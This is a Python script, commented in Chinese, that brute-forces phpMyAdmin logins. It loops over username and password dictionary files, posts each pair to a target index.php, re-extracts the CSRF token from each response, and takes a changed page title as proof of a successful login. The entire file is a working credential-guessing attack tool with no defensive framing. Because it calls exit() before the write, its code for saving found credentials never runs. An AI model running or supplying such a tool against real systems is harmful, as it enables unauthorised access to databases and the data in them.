from requests import session

from re import findall

from html import unescape

# phpmyadmin 地址，例如 http://localhost/index.php

target = 'http://192.168.246.163/phpmyadmin/index.php'

# 用户名字典文件

# user = 'root'

namedic = 'namedic.txt'

# 字典文件路径

passdic = 'passwd.txt'

ss = session()

ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate',

              'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \

              Chrome/87.0.4280.88 Safari/537.36'}

	# 获取 token 函数

def get_token(text) -> str:

    token = findall("name=\"token\" value=\"(.*?)\" />", text)

    return unescape(token[0]) if token else None

	# 获取网站标题函数

def get_title(text) -> str:

    title = findall('<title>(.*)</title>', text)

    return title[0] if title else None

	#尝试登录函数

def try_login(user, pwd, token):

    data = {'pma_username': user,

            'pma_password': pwd,

            'server': 1,

            'target': 'index.php',

            'token': token}

    r = ss.post(url=target, data=data)

    return r.text

	#爆破函数

def burst_pma():

    html = try_login('', '', '')

    title_fail = get_title(html)

    token = get_token(html)

    with open(passdic, 'r', encoding='utf-8') as f:

        for line in f:

            with open(namedic, 'r', encoding='utf-8') as h:

                for li in h:

                    user = li.strip()

                    pwd = line.strip()

                    print(f'[?] loading  {user}  {pwd}  ')

                    html = try_login(user, pwd, token)

                    title = get_title(html)

                    token = get_token(html)

                    if title != title_fail:

                        print(f'[+] success  {title}')

                        exit()

                        with open('success.txt', 'a', encoding='utf-8') as g:

                            g.write(f'{target}  |  {user}  |  {pwd}\n')

                        break

                    else:

                        print(f'[-] failed  {title}')

if __name__ == "__main__":

    try:

        burst_pma()

    except Exception as e:

        print(e)